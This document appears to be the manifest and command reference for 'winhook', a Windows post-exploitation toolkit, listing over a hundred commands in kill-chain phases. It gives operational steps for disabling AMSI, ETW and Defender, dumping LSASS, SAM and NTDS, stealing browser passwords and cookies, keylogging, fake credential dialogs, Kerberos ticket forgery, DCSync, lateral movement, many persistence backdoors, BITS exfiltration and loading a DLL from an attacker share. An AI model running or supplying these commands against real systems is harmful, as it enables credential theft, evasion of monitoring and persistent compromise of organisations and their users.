Windows Postexploit

---
name: windows-postexploit
description: Windows post-exploitation — Active Directory attacks, Kerberos exploitation, ADCS abuse, lateral movement, persistence, privilege escalation, credential harvesting, stealth encoding (Base64/AMSI/obfuscate), and pwsh.exe support
category: post-exploitation
tags: [windows, post-exploitation, active-directory, kerberos, adcs, lateral-movement, persistence, privilege-escalation, credential-access, defense-evasion, lsass, dpapi, etw, amsi, sam, dcsync, rbcd, coercion, byovd, dll-hijack, service-exploit, applocker-bypass, stealth-encoding, pwsh, base64, obfuscation, process-injection, anti-forensics, data-exfiltration, firewall, local-recon, ps-downgrade, share-hunting, screenshot, registry-secrets, browser-harvest, cert-theft, event-tampering, network-pivoting, wdigest, password-spray, ntlm-relay, llmnr-poisoning, azure-ad, hybrid-cloud, adidns, machine-account, bitlocker, windows-hello, exchange, ppl-bypass, bits-persist, wsus, golden-gmsa, silver-saml, rdp-shadow, print-monitor, clm-bypass, ssp-persist, password-filter, dsrm-abuse, ntlmv1-downgrade, accessibility-backdoor, ifeo-persist, rid-hijack, winlogon-persist, appinit-dll, netsh-helper, time-provider, screensaver-persist, pipe-enum, lsa-secrets, keepass, ssh-lateral, schtask-lateral, powershell-profile, active-setup, boot-exec, unhook-ntdll, ppid-spoof, mitm6, wpad-abuse, teams-token]
tech_stack: [windows, powershell, csharp, win32api]
cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-312, CWE-287, CWE-862]
chains_with: [T1003, T1003.001, T1003.002, T1003.003, T1003.004, T1003.006, T1056.001, T1059.001, T1562.001, T1562.006, T1070.001, T1555, T1555.003, T1555.005, T1558.003, T1558.004, T1550.002, T1134, T1134.004, T1548.002, T1053.005, T1543.003, T1547.001, T1047, T1021.003, T1021.004, T1021.006, T1021.002, T1557.001, T1557.003, T1649, T1207, T1558.001, T1558.002, T1135, T1113, T1552.002, T1090, T1110.003, T1556, T1528, T1484.002, T1136.002, T1486, T1114, T1574.010, T1197, T1072, T1606.002, T1563.002, T1547.010, T1547.014, T1059.001, T1547.005, T1556.002, T1546.002, T1546.012, T1546.013, T1078.002, T1547.004, T1546.010, T1546.007, T1547.003, T1542.003, T1049]
prerequisites: [T1068, T1548.002]
version: "12.0"
---

# Windows Post-Exploitation Methodology

Windows post-exploitation uses userland APIs (no kernel driver signing needed) for Active Directory attacks, Kerberos exploitation, ADCS abuse, lateral movement, persistence, privilege escalation, credential harvesting, and defense evasion. After gaining access on a Windows target, these 153 programs provide comprehensive offensive capabilities — from basic credential extraction to advanced techniques like Diamond/Sapphire tickets, ADCS ESC9-15, KrbRelayUp, gMSA password extraction, cross-forest attacks, 16 dedicated privilege escalation methods, NTLM relay chains, LLMNR/NBT-NS poisoning, Azure AD hybrid attacks (PRT theft, AAD Connect, Seamless SSO), ADIDNS poisoning, machine account abuse, BitLocker key extraction, Windows Hello credential dumping, Exchange Server exploitation, password spraying, WDigest credential caching, PPL bypass for modern LSASS protection, BITS job persistence, WSUS exploitation, GoldenGMSA offline password computation, Silver SAML token forgery, RDP session shadowing, print monitor persistence, CLM bypass, SSP credential interception, password filter persistence, DSRM local admin abuse on DCs, NTLMv1 downgrade attacks, accessibility binary backdoors, IFEO debugger persistence, RID hijacking for hidden admin access, Winlogon helper DLL persistence, AppInit_DLLs mass injection, netsh helper DLL persistence, W32Time provider persistence, screensaver idle-trigger persistence, named pipe enumeration and ACL auditing, LSA secret extraction and in-memory decryption, KeePass credential dumping (CVE-2023-32784 master password extraction), SSH-based lateral movement and key harvesting, scheduled task remote execution, PowerShell profile persistence, Active Setup registry persistence, Boot Execute native image persistence, NTDLL unhooking for EDR bypass, PPID spoofing for process lineage evasion, IPv6 MITM via DHCPv6 DNS poisoning (mitm6), WPAD abuse for NTLM hash capture, and Microsoft Teams token extraction.

## Prerequisites

Before deploying winhook tools, verify:

1. **Stealth capability** — run `winhook stealth_check` FIRST to determine which encoding modes work on the target. This tells you whether base64, amsi, and obfuscate modes are available before committing to a stealth strategy
2. **Administrator access** — most operations require elevated privileges
3. **OS version** — Windows 10/11 or Server 2016+ for ETW features
4. **PowerShell** — available natively on all modern Windows; check if pwsh.exe (PS7) is also installed
5. **Domain context** — AD operations require domain-joined machine with valid credentials
6. **AV/EDR status** — run `amsi_bypass` and `etw_blind` first if Defender/EDR is active

```bash
# Step 0 — stealth capability check (ALWAYS run first)
winhook stealth_check

# Then proceed with environment checks
```

```powershell
# Quick prerequisite check
whoami /priv                              # verify SeDebugPrivilege
whoami /groups                            # verify domain membership
Get-MpComputerStatus | Select RealTimeProtectionEnabled  # Defender status
Get-Process lsass                         # verify LSASS accessible
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL  # PPL status
nltest /dclist:                           # list domain controllers
Get-Command pwsh -ErrorAction SilentlyContinue  # check if PS7 available for --pwsh
```

## Kill Chain Phases

### Phase 1 — AV/EDR Evasion (First priority)

Neutralize monitoring before performing credential operations.

| Action | Command | Purpose |
|--------|---------|---------|
| **Stealth check** | **`winhook stealth_check`** | **ALWAYS run first — determines which encoding modes (base64/amsi/obfuscate) and pwsh.exe are available on target** |
| Bypass AMSI | `winhook amsi_bypass` | Patch AmsiScanBuffer to allow undetected PowerShell execution |
| Blind ETW | `winhook etw_blind` | Patch EtwEventWrite to prevent EDR from receiving telemetry |
| Exclude paths | `winhook defender_exclude --path C:\Tools` | Add Defender exclusion for tool staging directory |
| Token stomp | `winhook token_stomp` | Remove security tool token privileges (EDR bypass) |
| PPL check | `winhook ppl_bypass --action check` | Detect RunAsPPL, Credential Guard/VBS, vulnerable drivers, SeLoadDriverPrivilege |
| PPL disable | `winhook ppl_bypass --action disable --driver rtcore` | Disable LSASS PPL via vulnerable signed driver (RTCore64/DBUtil/ProcExp/mimidrv) |
| CLM check | `winhook clm_bypass --action check` | Assess language mode, enforcement source (AppLocker/WDAC), available bypass methods |
| CLM bypass | `winhook clm_bypass --action bypass --method msbuild` | Escape CLM via MSBuild/runspace/InstallUtil/XSLT/Add-Type |
| NTDLL unhook check | `winhook unhook_ntdll --action check` | Scan 18 Nt* syscall stubs for JMP/PUSH+RET/INT3 EDR hook patterns |
| NTDLL unhook | `winhook unhook_ntdll --action unhook` | Map fresh ntdll.dll from disk via NtCreateSection, overwrite hooked .text section |
| PPID spoof enum | `winhook ppid_spoof --action enum` | Enumerate candidate parent processes (explorer, svchost, RuntimeBroker) with session context |
| PPID spoof | `winhook ppid_spoof --action spoof --parent explorer --command CMD` | Spawn process under fake parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS |

### Global Stealth Flags

All 153 programs support `--stealth` and `--pwsh` flags for AV/EDR evasion. These flags modify how PowerShell commands are executed — no per-program changes needed.

#### `--stealth <mode>`

| Mode | Technique | Use Case |
|------|-----------|----------|
| `base64` | `-EncodedCommand` with UTF-16LE Base64 | Bypass string-based signatures, command-line logging shows Base64 blob |
| `amsi` | AMSI patch (`amsiInitFailed`) + Base64 | Defeat AMSI scanning before executing payload, bypasses PowerShell content inspection |
| `obfuscate` | String chunking + variable concatenation + `IEX()` + Base64 | Defeat static analysis, string matching, and YARA rules |

```bash
# Examples — any program with any stealth mode
winhook lsass_dump --stealth base64
winhook ad_enum --stealth amsi
winhook kerberoast --stealth obfuscate
winhook dcsync --target krbtgt --stealth amsi
```

#### `--pwsh`

Use PowerShell 7 (`pwsh.exe`) instead of Windows PowerShell 5.1 (`powershell.exe`). Benefits:
- Different AMSI hooks (some EDRs only hook powershell.exe)
- Bypasses Constrained Language Mode (CLM) policies targeting powershell.exe
- Separate script block logging configuration

```bash
# Combine with stealth
winhook lsass_dump --stealth amsi --pwsh
winhook ad_enum --pwsh
```

#### Verify stealth modes

```bash
winhook stealth_check
```

Tests all 3 stealth modes + plain execution with a benign command, reports which modes succeed on the target.

### Multi-Exec Engine (`--exec`)

When PowerShell is blocked, restricted (CLM), or unavailable, use `--exec` to switch the execution engine. All 153 programs support cmd.exe native commands, .bat files, WMI CLI, VBScript, and HTA as fallback methods.

#### `--exec <method>`

| Method | Engine | When to Use |
|--------|--------|-------------|
| `ps` | PowerShell (default) | Full PS access, no restrictions |
| `cmd` | cmd.exe native (`reg`, `netsh`, `certutil`, `sc`, `schtasks`, `wmic`, `nltest`, `dsquery`) | CLM active, PS blocked, or AMSI can't be bypassed |
| `bat` | .bat file execution | PS and direct cmd blocked, but .bat files execute |
| `wmic` | WMI command-line | PS/cmd restricted but WMIC available |
| `vbs` | VBScript via cscript.exe | Legacy systems, PS removed, COM object access needed |
| `mshta` | HTML Application (mshta.exe) | AppLocker bypass, PS/cmd/cscript all blocked |
| `auto` | Auto-detect best available | Unknown environment — runs detect_env first |

```bash
# Force cmd.exe native commands
winhook lsass_dump --exec cmd
winhook ad_enum --exec cmd
winhook kerberoast --exec cmd

# Force .bat file execution
winhook registry_persist --exec bat

# Auto-detect best method
winhook sam_dump --exec auto
```

#### Environment Detection

**ALWAYS run `detect_env` first** when landing on a new target to determine the optimal execution method:

```bash
winhook detect_env
```

Returns: PowerShell version, CLM/AMSI status, execution policy, admin context, OS build, and availability of cmd.exe/wmic/cscript/mshta. Outputs recommended execution method and fallback chain.

**Decision flow:**
1. Run `winhook detect_env`
2. If PS is available and unrestricted → use default (no `--exec` flag)
3. If CLM is active → try `winhook clm_bypass` first, then fall back to `--exec cmd`
4. If PS is completely blocked → use `--exec cmd` for all subsequent commands
5. If cmd.exe is also restricted → try `--exec bat`, `--exec vbs`, or `--exec mshta`

#### cmd.exe Native Equivalents

Key tools available without PowerShell:
- `reg query/add/save` — registry operations, credential extraction
- `netsh advfirewall` — firewall enumeration and manipulation
- `certutil` — certificate operations, Base64 encoding
- `schtasks` — scheduled task management
- `sc` — service management
- `wmic` — WMI queries (process, service, OS info)
- `nltest` — domain controller and trust enumeration
- `dsquery` — AD object queries
- `icacls` — file permission analysis
- `manage-bde` — BitLocker operations
- `cmdkey` — stored credential management
- `wevtutil` — event log operations
- `sqlcmd/osql` — MSSQL operations
- `klist` — Kerberos ticket management
- `setspn` — SPN enumeration

### Phase 2 — AD Enumeration

Comprehensive Active Directory reconnaissance using multiple protocols.

| Action | Command | Purpose |
|--------|---------|---------|
| AD enumeration | `winhook ad_enum` | Domain info, users, groups, SPNs, trusts, password policies |
| BloodHound collection | `winhook bloodhound_collect` | Collect AD relationships for attack path analysis |
| LAPS passwords | `winhook laps_dump` | Extract local admin passwords from LAPS attributes |
| GPO enumeration | `winhook gpo_enum` | List GPOs, linked OUs, permissions for abuse opportunities |
| DNS enumeration | `winhook ad_dns_enum` | Enumerate AD-integrated DNS zones, records, and ADIDNS poisoning |
| ADWS recon | `winhook adws_recon` | Enumerate AD via Web Services (port 9389, bypasses LDAP monitoring) |
| Cross-forest | `winhook cross_forest` | Analyze forest trusts, SID filtering, foreign principals |
| Share enumeration | `winhook share_hunt --action enum` | Discover SMB shares across domain, identify open/readable/writable |
| Share credential hunt | `winhook share_hunt --action hunt --target domain` | Scan shares for credentials, configs, backups, SSH keys, certs |
| SYSVOL harvest | `winhook share_hunt --action sysvol` | Extract GPP passwords, scripts, and configs from SYSVOL/NETLOGON |
| Writable shares | `winhook share_hunt --action writable` | Identify writable shares for staging or DLL planting |
| ADIDNS enum | `winhook adidns_poison --action enum` | Enumerate AD-integrated DNS zones and wildcard injection opportunity |
| ADIDNS permissions | `winhook adidns_poison --action check-perms` | Check if authenticated users can create DNS records |
| Machine account quota | `winhook machine_account --action quota` | Check ms-DS-MachineAccountQuota for RBCD prerequisite |
| Machine account enum | `winhook machine_account --action enum` | Find user-created accounts, RBCD configs, unconstrained delegation |
| Exchange enum | `winhook exchange_abuse --action enum` | Discover Exchange servers, versions, roles, virtual directories |
| GAL dump | `winhook exchange_abuse --action gal` | Extract Global Address List (all email addresses, titles, groups) |

### Phase 3 — Credential Harvesting

Extract credentials from multiple sources.

| Action | Command | Purpose |
|--------|---------|---------|
| LSASS dump | `winhook lsass_dump` | Dump LSASS memory via MiniDumpWriteDump |
| Advanced LSASS | `winhook nanodump_advanced --method snapshot` | EDR-bypass dump (snapshot/fork/seclogon) |
| SAM extraction | `winhook sam_dump` | Extract registry hives for offline cracking |
| DPAPI secrets | `winhook dpapi_extract` | Decrypt browser passwords, WiFi keys, Vault credentials |
| NTDS.dit dump | `winhook ntds_dump` | Extract AD database via VSS shadow copy |
| Domain DPAPI | `winhook dpapi_domain` | Extract domain backup keys for cross-machine DPAPI decryption |
| Cached creds | `winhook cached_creds` | Extract domain cached credentials (DCC2) |
| gMSA dump | `winhook gmsa_dump` | Extract gMSA passwords via msDS-ManagedPassword (DPAPI-NG) |
| LAPS v2 decrypt | `winhook laps_v2_decrypt` | Decrypt Windows LAPS v2 encrypted passwords |
| MSSQL creds | `winhook mssql_creds` | Enumerate MSSQL servers, extract logins |
| WiFi passwords | `winhook wifi_dump` | Extract saved WiFi profiles and plaintext passwords |
| Vault secrets | `winhook vault_dump` | Access Windows Credential Vault entries |
| Credential phishing | `winhook credential_prompt` | Spawn fake Windows credential dialog |
| Keystroke capture | `winhook keylog_win --duration 120` | Log keystrokes with active window context |
| Clipboard monitoring | `winhook clipboard_sniff --duration 60` | Capture copied passwords, tokens, sensitive data |
| Registry credentials | `winhook reg_secrets --action full` | Sweep all registry credential sources (AutoLogon, VNC, PuTTY, WinSCP, RDP, services, apps) |
| Browser passwords | `winhook browser_harvest --action passwords` | Extract saved passwords from Chrome/Edge/Firefox/Brave (DPAPI + NSS) |
| Browser cookies | `winhook browser_harvest --action cookies` | Extract session cookies for session hijacking |
| Browser all | `winhook browser_harvest --action all` | Passwords, cookies, history, bookmarks from all browsers |
| Certificate theft | `winhook cert_steal --action enum` | Enumerate certificates with exportable private keys |
| Certificate export | `winhook cert_steal --action export --password P@ss` | Export certs as PFX for pass-the-certificate attacks |
| WDigest enable | `winhook wdigest_enable --action enable` | Enable plaintext credential caching in LSASS (UseLogonCredential) |
| WDigest + lock | `winhook wdigest_enable --action lock` | Lock workstation to force re-auth (captures cleartext on logon) |
| Password spray | `winhook password_spray --action spray --password Summer2026!` | Spray password against domain users with lockout awareness |
| Spray policy check | `winhook password_spray --action policy` | Enumerate lockout threshold and observation window before spray |
| Windows Hello keys | `winhook win_hello_dump --action keys` | Extract NGC key containers (DPAPI-protected PIN/biometric keys) |
| BitLocker keys (local) | `winhook bitlocker_keys --action local` | Extract BitLocker recovery passwords from local volumes |
| BitLocker keys (AD) | `winhook bitlocker_keys --action ad` | Retrieve BitLocker recovery keys stored in Active Directory |
| GoldenGMSA enum | `winhook golden_gmsa --action enum` | Enumerate KDS root keys and gMSA accounts with root key GUID mapping |
| GoldenGMSA compute | `winhook golden_gmsa --action compute --sid SID` | Compute gMSA password offline via KDS root key derivation |
| SSP enum | `winhook ssp_persist --action enum` | Enumerate loaded Security Support Providers via EnumerateSecurityPackages |
| SSP install (live) | `winhook ssp_persist --action install --dll PATH` | Load SSP DLL into LSASS via AddSecurityPackage (instant, captures all logon creds) |
| SSP install (persist) | `winhook ssp_persist --action install --dll PATH --persist` | Register SSP in registry Security Packages (persistent, loads on boot) |
| Password filter enum | `winhook password_filter --action enum` | Enumerate Notification Packages (password filter DLLs loaded by LSASS) |
| Password filter install | `winhook password_filter --action install --name FILTER` | Register password filter DLL — captures plaintext on every password change |
| KeePass enum | `winhook keepass_dump --action enum` | Find KeePass installations, .kdbx database files, and config files |
| KeePass memory dump | `winhook keepass_dump --action memory` | CVE-2023-32784 — extract master password from KeePass process memory via CLR string residue |
| KeePass trigger | `winhook keepass_dump --action trigger` | Analyze KeePass config for trigger-based credential injection opportunities |
| LSA secrets dump | `winhook lsa_secrets --action dump` | Save SECURITY/SYSTEM hives, enumerate LSA secret keys, extract AutoLogon and service account creds |
| LSA secrets decrypt | `winhook lsa_secrets --action decrypt` | In-memory LSA secret decryption via LsaRetrievePrivateData P/Invoke (no hive save) |
| Teams token enum | `winhook teams_token --action enum` | Detect Teams Classic vs New, enumerate credential storage locations |
| Teams tokens | `winhook teams_token --action tokens` | Extract JWT/Skype tokens from LevelDB and Token Broker cache |
| Teams chats | `winhook teams_token --action chats` | Extract chat history, downloads, and cached data from Teams storage |

### Phase 4 — Kerberos Attacks

Active Directory Kerberos-based attacks including advanced ticket forgery.

| Action | Command | Purpose |
|--------|---------|---------|
| Kerberoasting | `winhook kerberoast` | Request service tickets for SPN accounts, crack offline |
| AS-REP Roasting | `winhook asreproast` | Extract hashes from accounts without pre-auth |
| Golden Ticket | `winhook golden_ticket --krbtgt-hash HASH --domain DOMAIN --sid SID` | Forge TGT with krbtgt hash |
| Silver Ticket | `winhook silver_ticket --service-hash HASH --spn SPN --domain DOMAIN --sid SID` | Forge service ticket |
| Diamond Ticket | `winhook diamond_ticket --krbtgt-hash HASH --domain DOMAIN` | Modify real TGT PAC (stealthier than Golden) |
| Sapphire Ticket | `winhook sapphire_ticket --krbtgt-hash HASH --domain DOMAIN` | S4U2self+U2U real PAC forgery (stealthiest) |
| Delegation abuse | `winhook delegation_abuse` | Exploit unconstrained/constrained/RBCD delegation |
| Overpass-the-Hash | `winhook overpass_hash --user USER --hash HASH` | Convert NTLM hash to Kerberos TGT |
| Pass-the-Ticket | `winhook pass_the_ticket --action export` | Export/import/inject Kerberos tickets |
| UnPAC-the-Hash | `winhook unpac_hash --cert cert.pfx` | Recover NT hash from PKINIT certificate auth |

### Phase 5 — AD Exploitation

Advanced Active Directory exploitation techniques.

| Action | Command | Purpose |
|--------|---------|---------|
| DCSync | `winhook dcsync --target USER` | Replicate credentials via DRSUAPI |
| DCShadow | `winhook dcshadow --target USER --attribute VALUE` | Register rogue DC for AD manipulation |
| Skeleton Key | `winhook skeleton_key --dc DC` | Inject master password into DC LSASS |
| ACL abuse | `winhook ad_acl_abuse --target USER --action exploit --right GenericAll` | Exploit misconfigured AD ACLs |
| ADCS abuse | `winhook adcs_abuse --action enum` | Enumerate/exploit ADCS (ESC1-ESC8) |
| ADCS advanced | `winhook adcs_esc_advanced` | Advanced ADCS exploitation (ESC9-ESC15) |
| Golden Certificate | `winhook golden_cert --action exploit --ca CA_NAME` | Extract CA private key for cert forgery |
| Shadow Credentials | `winhook shadow_creds --target USER --action add` | Add msDS-KeyCredentialLink for PKINIT auth |
| Pass-the-Certificate | `winhook pass_the_cert` | LDAP/Kerberos auth via Schannel certificate |
| SID History | `winhook sid_history --target USER --sid SID` | Inject SID History for priv esc |
| DNS Admin abuse | `winhook dns_admin_abuse --dll \\attacker\share\payload.dll` | DnsAdmins group to SYSTEM |
| AdminSDHolder | `winhook adminsdholder --action check` | Audit/plant AdminSDHolder ACL backdoor |
| Primary Group abuse | `winhook primary_group_abuse` | Hidden group membership via primaryGroupID |
| RBCD chain | `winhook rbcd_chain --target COMPUTER --action exploit` | Full RBCD chain (machine account + S4U) |
| DSRM check | `winhook dsrm_abuse --action check` | Check DsrmAdminLogonBehavior on DC — value 2 enables network logon with DSRM password |
| DSRM enable | `winhook dsrm_abuse --action enable` | Set DsrmAdminLogonBehavior=2 for persistent DC backdoor |
| DSRM sync | `winhook dsrm_abuse --action sync` | Sync DSRM password with domain account via ntdsutil |

### Phase 6 — CVE-Based Attacks

Exploit specific CVEs for domain escalation.

| Action | Command | Purpose |
|--------|---------|---------|
| noPac | `winhook nopac --domain DOMAIN --action check` | CVE-2021-42278/42287 — sAMAccountName impersonation |
| Zerologon | `winhook zerologon --dc DC_HOST --action check` | CVE-2020-1472 — Netlogon privilege escalation |
| Certifried | `winhook certifried --action check` | CVE-2022-26923 — AD CS machine account escalation |
| BadSuccessor | `winhook bad_successor --action check` | CVE-2025-53779 — dMSA inheritance exploitation |
| Bronze Bit | `winhook bronze_bit --target HOST --action check` | CVE-2020-17049 — S4U2proxy forwardable bypass |

### Phase 7 — Lateral Movement

Move laterally across the network using multiple execution and coercion methods.

| Action | Command | Purpose |
|--------|---------|---------|
| WMI execution | `winhook wmi_exec --target HOST --command CMD` | Remote command execution via WMI |
| WinRM execution | `winhook winrm_exec --target HOST --command CMD` | Remote command execution via WinRM/PSRemoting |
| DCOM execution | `winhook dcom_exec --target HOST --command CMD` | Remote execution via DCOM objects |
| SMB execution | `winhook smb_exec --target HOST --command CMD` | Remote execution via SMB service creation |
| NTLM coercion | `winhook ntlm_coerce --target HOST --listener IP` | Force NTLM auth (PetitPotam, PrinterBug) |
| Full coercer | `winhook coercer_full --target HOST --listener IP` | 12+ RPC coercion methods (EFSRPC, RPRN, DFSNM, FSRVP, EVEN, DNSP, WebClient) |
| RemoteMonologue | `winhook remote_monologue --target HOST --listener IP` | DCOM-based NTLM coercion (no LSASS touch) |
| KrbRelayUp | `winhook krbrelayup --action check` | Local priv esc via Kerberos relay to LDAP |
| MSSQL abuse | `winhook mssql_abuse --server HOST --action enum` | MSSQL enumeration, xp_cmdshell, linked servers |
| RDP hijack | `winhook rdp_hijack --action enum` | Hijack disconnected RDP sessions |
| SOCKS proxy | `winhook proxy_pivot --action socks --listen-port 1080` | Set up SOCKS proxy for tunneling through compromised host |
| Reverse forward | `winhook proxy_pivot --action reverse --listen-port 8443 --target HOST:PORT` | Reverse port forward to expose internal services |
| SSH tunnel | `winhook proxy_pivot --action ssh-tunnel --ssh-host HOST --ssh-user USER --target HOST:PORT` | SSH tunneling via OpenSSH client |
| Port proxy chain | `winhook proxy_pivot --action portproxy --listen-port 8080 --target HOST:PORT` | netsh portproxy chain for multi-hop pivoting |
| NTLM relay targets | `winhook ntlm_relay --action enum` | Real SMB1 Negotiate probe for signing status (SecurityMode byte analysis) |
| NTLM hash capture | `winhook ntlm_relay --action relay --relay-to TARGET` | NTLMv2 hash capture server — NTLMSSP Type3 parsing, hashcat mode 5600 output, impacket relay guidance |
| LLMNR/NBT-NS check | `winhook responder_poison --action check` | Assess broadcast poisoning opportunity (LLMNR, NBT-NS, mDNS, WPAD) |
| LLMNR poison | `winhook responder_poison --action poison --duration 120` | LLMNR poisoner with proper DNS-format responses (question section echo), NBT-NS passive monitoring (port 137 held by Windows) |
| ADIDNS wildcard | `winhook adidns_poison --action wildcard --ip ATTACKER_IP` | Inject wildcard DNS record to capture all unresolved queries |
| Machine account create | `winhook machine_account --action create --name EVIL` | Create machine account for RBCD chain |
| Azure AD PRT | `winhook azure_ad_hybrid --action prt` | Extract Primary Refresh Token for cloud session hijacking |
| AAD Connect creds | `winhook azure_ad_hybrid --action connect-creds` | Extract Azure AD Connect sync account credentials |
| Seamless SSO key | `winhook azure_ad_hybrid --action sso-key` | Extract AZUREADSSOACC$ Kerberos key for Azure AD ticket forgery |
| Exchange privesc | `winhook exchange_abuse --action privesc` | Exchange → WriteDACL → DCSync privilege escalation chain |
| WSUS check | `winhook wsus_abuse --action check` | Assess WSUS MITM attack surface (HTTP vs HTTPS, network position) |
| WSUS enum | `winhook wsus_abuse --action enum` | Enumerate WSUS server config, update policy, recent history |
| RDP shadow | `winhook rdp_shadow --action shadow --session-id ID --control --no-consent` | Shadow active RDP session for live credential observation |
| GoldenGMSA extract | `winhook golden_gmsa --action extract` | Extract KDS root key for offline gMSA password computation |
| Silver SAML cert | `winhook silver_saml --action extract-cert` | Extract ADFS token-signing certificate for SAML token forgery |
| Silver SAML forge | `winhook silver_saml --action forge --cert-path PFX --target-user USER` | Forge SAML token for any federated service (O365, AWS) |
| NTLMv1 check | `winhook ntlmv1_downgrade --action check` | Check LmCompatibilityLevel — levels 0-2 allow NTLMv1 (crackable in seconds) |
| NTLMv1 downgrade | `winhook ntlmv1_downgrade --action downgrade` | Set LmCompatibilityLevel=0 to force NTLMv1 responses for instant cracking |
| NTLMv1 restore | `winhook ntlmv1_downgrade --action restore` | Restore LmCompatibilityLevel to enforce NTLMv2 |
| SSH enum | `winhook ssh_exec --action enum` | Enumerate SSH client/server, private keys, known_hosts, config, admin authorized_keys |
| SSH exec | `winhook ssh_exec --action exec --target HOST --user USER --command CMD` | Remote command execution via SSH key or password auth |
| Schtask enum | `winhook schtask_exec --action enum --target HOST` | Enumerate remote scheduled tasks and test create permission |
| Schtask exec | `winhook schtask_exec --action exec --target HOST --command CMD` | Create SYSTEM task on remote host, execute, retrieve output via UNC, auto-cleanup |
| mitm6 check | `winhook mitm6 --action check` | Assess IPv6 MITM attack surface — DHCPv6, DNS config, WPAD resolution, vulnerability score |
| mitm6 poison | `winhook mitm6 --action poison` | DHCPv6 DNS poisoning configuration for IPv6 MITM attack |
| WPAD check | `winhook wpad_abuse --action check` | Assess WPAD attack surface — AutoDetect registry, DNS resolution, proxy settings |
| WPAD serve | `winhook wpad_abuse --action serve` | Generate PAC file for WPAD-based NTLM hash capture |

### Phase 8 — Persistence

Establish persistent access mechanisms.

| Action | Command | Purpose |
|--------|---------|---------|
| Scheduled task | `winhook schtask_persist --command CMD --name NAME` | Create scheduled task for persistence |
| Service creation | `winhook service_persist --command CMD --name NAME` | Create Windows service for persistence |
| Registry run key | `winhook registry_persist --command CMD` | Add registry autorun entries |
| WMI subscription | `winhook wmi_persist --command CMD --name NAME` | Create WMI event subscription (fileless) |
| COM hijacking | `winhook com_hijack --action scan` | Scan/hijack COM objects for DLL loading |
| Startup folder | `winhook startup_persist --command CMD --target user` | Place scripts in startup folder or GPO |
| BITS persistence | `winhook bits_persist --action create --command CMD --interval 60` | BITS transfer job with NotifyCmdLine — survives reboots, stealthy (APT29/FIN7) |
| BITS exfil | `winhook bits_persist --action exfil --local-file PATH --url URL` | BITS upload for stealthy data exfiltration with auto-retry |
| Print monitor | `winhook print_monitor_persist --action install --name MON --dll PATH` | Register DLL as print monitor — SYSTEM persistence via Spooler service |
| Accessibility backdoor | `winhook accessibility_backdoor --action install --target sethc` | Replace accessibility binary with cmd.exe for SYSTEM shell at login screen |
| Accessibility detect | `winhook accessibility_backdoor --action detect` | Hash-based detection of replaced accessibility binaries (sethc/utilman/narrator/osk/magnify) |
| IFEO debugger | `winhook ifeo_persist --action install --target notepad.exe --payload PATH --method debugger` | Payload runs INSTEAD of target process (visible, persistent) |
| IFEO silent exit | `winhook ifeo_persist --action install --target notepad.exe --payload PATH --method silent-exit` | Payload triggers on target exit (stealthier, runs via WerFault.exe) |
| IFEO enum | `winhook ifeo_persist --action enum` | Enumerate existing IFEO debugger and SilentProcessExit entries |
| Winlogon userinit | `winhook winlogon_persist --action install --key userinit --payload PATH` | Append to Userinit — runs before shell, non-destructive, SYSTEM context |
| Winlogon shell | `winhook winlogon_persist --action install --key shell --payload PATH` | Chain with explorer.exe as Shell — runs as desktop shell, SYSTEM context |
| AppInit_DLLs | `winhook appinit_dll --action install --dll PATH` | Inject DLL into every User32.dll process — mass persistence |
| Netsh helper | `winhook netsh_helper --action install --dll PATH --name HELPER` | Register helper DLL loaded on every netsh.exe invocation |
| Time provider | `winhook time_provider --action install --dll PATH --name PROVIDER` | W32Time DLL provider — SYSTEM context, rarely audited |
| Screensaver | `winhook screensaver_persist --action install --payload PATH --timeout 60` | Idle-triggered persistence via SCRNSAVE.EXE — no admin needed (HKCU) |
| PS profile enum | `winhook powershell_profile --action enum` | Enumerate 4 PowerShell profile locations, write perms, suspicious content |
| PS profile install | `winhook powershell_profile --action install --payload CMD` | Append payload to PowerShell profile with marker for clean removal |
| PS profile remove | `winhook powershell_profile --action remove` | Remove installed payload from PowerShell profile |
| Active Setup enum | `winhook active_setup --action enum` | Enumerate non-Microsoft Active Setup entries (HKLM StubPath) |
| Active Setup install | `winhook active_setup --action install --name NAME --payload CMD` | Register HKLM Active Setup StubPath — runs once per user on logon |
| Active Setup remove | `winhook active_setup --action remove --name NAME` | Remove Active Setup entry from HKLM and per-user tracking |
| Boot Execute enum | `winhook boot_exec --action enum` | Enumerate BootExecute, SetupExecute, and KnownDLLs entries |
| Boot Execute install | `winhook boot_exec --action install --exe NAME` | Add native executable to BootExecute MultiString (runs before OS) |
| Boot Execute remove | `winhook boot_exec --action remove --exe NAME` | Restore default BootExecute value |

### Phase 9 — Privilege Escalation

Escalate from standard user to SYSTEM/Administrator. 22 dedicated privesc techniques covering service exploitation, DLL abuse, token manipulation, driver attacks, SAM manipulation, and policy bypass.

| Action | Command | Purpose |
|--------|---------|---------|
| Token impersonation | `winhook token_impersonate --action enum` | Enumerate and impersonate tokens |
| UAC bypass | `winhook uac_bypass --command CMD --method fodhelper` | Bypass UAC via multiple methods |
| Potato attacks | `winhook potato_attack --method sweet --listener IP` | Service account to SYSTEM |
| PrintSpooler abuse | `winhook printspooler_abuse --target HOST --action enum` | PrintNightmare exploitation |
| SCCM abuse | `winhook sccm_abuse --action enum` | SCCM credential extraction and lateral movement |
| GPO abuse | `winhook gpo_abuse --action create_task --gpo NAME --command CMD` | Modify GPOs for domain-wide execution |
| Unquoted service path | `winhook unquoted_service_path --action enum` | Find services with exploitable unquoted paths |
| Weak service perms | `winhook weak_service_perms --action enum` | Find services with modifiable DACLs or writable binaries |
| DLL hijacking | `winhook dll_hijack --action enum` | Enumerate writable PATH dirs and 10 known DLL hijack targets |
| DLL sideloading | `winhook dll_sideload --action enum` | Trusted application DLL sideloading (OneDrive, Teams, etc.) |
| AlwaysInstallElevated | `winhook always_install_elevated --action check` | Check/exploit MSI elevation policy |
| Stored credentials | `winhook stored_creds_abuse --action enum` | 8 credential sources (cmdkey, AutoLogon, Unattend.xml, etc.) |
| Privilege abuse | `winhook privilege_abuse --action enum` | Exploit SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug |
| Named pipe privesc | `winhook named_pipe_privesc --action enum` | Named pipe impersonation for SYSTEM (SpoolSample, EFS) |
| BYOVD | `winhook byovd --action enum` | Vulnerable driver enum (RTCore64, Capcom, DBUtil, etc.) |
| Shadow copy abuse | `winhook shadow_copy_abuse --action enum` | Access SAM/SYSTEM/NTDS.dit from existing VSS snapshots |
